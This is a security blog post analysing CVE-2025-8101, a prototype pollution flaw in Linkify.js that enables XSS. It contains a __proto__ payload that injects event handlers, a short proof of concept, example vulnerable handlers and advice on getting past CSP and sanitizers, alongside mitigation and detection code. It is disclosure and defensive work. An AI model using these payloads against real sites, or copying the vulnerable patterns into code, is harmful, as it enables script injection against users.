730 words
4 minutes
CVE-2025-8101: Linkify.js Prototype Pollution & XSS - Charly

TL;DR#

Linkify.js 4.3.1 contains a prototype pollution vulnerability (CVE-2025-8101) that enables remote code execution through XSS. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.


Technical Analysis#

The Core Vulnerability#

At its core, the vulnerability exists in the library’s attribute assignment logic. Linkify.js uses a custom assign() helper function that naively copies properties without proper validation:

export default function assign(target, properties) {
for (const key in properties) {
target[key] = properties[key]; // Prototype pollution vector
}
return target;
}

Prototype Pollution Mechanics#

When processing link attributes, the library accepts user-controlled input through the options.attributes object. By providing a specially crafted object with a __proto__ property, an attacker can pollute the prototype of the base Object:

const maliciousOptions = {
attributes: {
__proto__: {
// These properties will be inherited by all objects
onclick: 'alert("XSS")',
onmouseover: 'alert("XSS")',
// ... other malicious attributes
}
}
};

The DOM XSS Chain#

  1. Initialization Phase:

    • Application initializes Linkify with user-controlled options
    • Malicious attributes are merged into the prototype chain
  2. DOM Injection:

    • When links are rendered, they inherit the polluted prototype
    • Event handlers are automatically bound through the prototype chain
    • No direct assignment of malicious code is visible in the DOM

Advanced Exploitation Vectors#

Stored XSS via API Endpoints#

// Backend API handler (vulnerable)
app.post('/api/comment', (req, res) => {
const { content } = req.body;
// Process content with vulnerable Linkify version
const processed = linkifyHtml(content, req.user.preferences);
saveToDatabase(processed); // Stored XSS
});

Reflected XSS via URL Parameters#

// Client-side rendering (vulnerable)
const params = new URLSearchParams(window.location.search);
const userContent = params.get('search');
document.body.innerHTML = linkifyHtml(userContent);

Bypassing Traditional Protections#

  1. Content Security Policy (CSP):

    • Many CSP implementations allow 'unsafe-inline' for event handlers
    • Even with strict CSP, javascript: URIs might be allowed for navigation
  2. Input Sanitization:

    • Most HTML sanitizers don’t catch prototype pollution
    • The attack happens at the JavaScript level, not in the HTML

Mitigation Strategies#

Immediate Actions#

  1. Upgrade to Linkify.js 4.3.2+

    Terminal window
    npm install linkifyjs@latest
  2. Temporary Workarounds

    // Safe wrapper function
    function safeLinkify(text, options = {}) {
    // Remove __proto__ and constructor from options
    const safeOptions = JSON.parse(JSON.stringify(options));
    return linkifyHtml(text, safeOptions);
    }

Secure Implementation Patterns#

  1. Input Validation

    function validateAttributes(attrs) {
    const safeAttrs = {};
    const ALLOWED_ATTRS = ['class', 'target', 'rel', 'title'];
    for (const [key, value] of Object.entries(attrs)) {
    if (ALLOWED_ATTRS.includes(key)) {
    safeAttrs[key] = value;
    }
    }
    return safeAttrs;
    }
  2. Deep Object Freezing

    Object.freeze() is a powerful JavaScript method that prevents modifications to an object. When applied, it:

    • Makes the object immutable (can’t add, remove, or modify properties)
    • Prevents changes to property descriptors
    • Makes the object’s prototype immutable
    // Basic usage
    const config = { apiKey: '123' };
    Object.freeze(config);
    config.apiKey = 'hacked'; // Fails silently in non-strict mode
    delete config.apiKey; // Fails
    config.newProp = 'test'; // Fails

    For nested objects, we need a recursive solution:

    function deepFreeze(object) {
    // Freeze the object itself
    Object.freeze(object);
    // Handle null/undefined and non-objects
    if (object === null || typeof object !== 'object') {
    return object;
    }
    // Freeze all properties
    Object.getOwnPropertyNames(object).forEach(prop => {
    const value = object[prop];
    // Recursively freeze objects and functions, but skip already frozen objects
    if (!Object.isFrozen(value) && (value instanceof Object)) {
    deepFreeze(value);
    }
    });
    return object;
    }
    // Usage in Linkify.js context
    const safeOptions = deepFreeze({
    attributes: {
    // ... your attributes
    }
    });

    This pattern is particularly effective against prototype pollution because:

    1. It prevents modifications to the prototype chain
    2. It makes the object’s structure immutable
    3. It fails loudly in strict mode when someone tries to modify it

    For more in-depth information, refer to the MDN documentation on Object.freeze().

    Important Note: While Object.freeze() is powerful, it only provides shallow immutability by default. Always use deep freezing for complex objects to ensure complete protection.

Detection & Response#

Identifying Vulnerable Implementations#

// Detection script
const isVulnerable = (() => {
try {
const test = {};
linkifyHtml('test', {
attributes: {
__proto__: { test: 1 }
}
});
return ({}).test === 1;
} catch (e) {
return false;
}
})();

Log Analysis Patterns#

Look for suspicious patterns in logs:

  • Unusual __proto__ properties in attribute objects
  • Unexpected event handlers in linkify operations
  • Multiple failed attempts with different attribute combinations

Conclusion#

This vulnerability demonstrates the dangers of prototype pollution in JavaScript libraries and the importance of proper input validation. The impact is particularly severe given Linkify.js’s widespread use in content management systems, forums, and social platforms.

References#

  1. Linkify.js GitHub Repository
  2. MDN: Object.prototype.proto
  3. PortSwigger: Prototype Pollution
  4. CVE-2025-8101 Details
  5. Security Advisory

When Linkify later sets link attributes, it blindly copies all enumerable keys, including inherited ones:

for (const attr in attributes) {
element.setAttribute(attr, attributes[attr]);
}

Exploit PoC#

import linkifyHtml from 'linkify-html';
const opts = {
attributes: {
__proto__: {
onclick: "alert('XSS via prototype pollution')"
}
}
};
console.log(
linkifyHtml('victim.com', opts)
);

Result: every generated <a> tag gets an onclick that pops XSS.


Impact#

  • Stored/Reflected XSS in any app using vulnerable Linkify.js
  • Affects all platforms (browser/Node.js)
  • CVE reserved: CVE-2025-8101

CVE-2025-8101: Linkify.js Prototype Pollution & XSS - Charly
https://caverav.cl/posts/linkify-xss/linkify-xss/
Author
Camilo Vera
Published at
2025-07-26
License
CC BY-NC-SA 4.0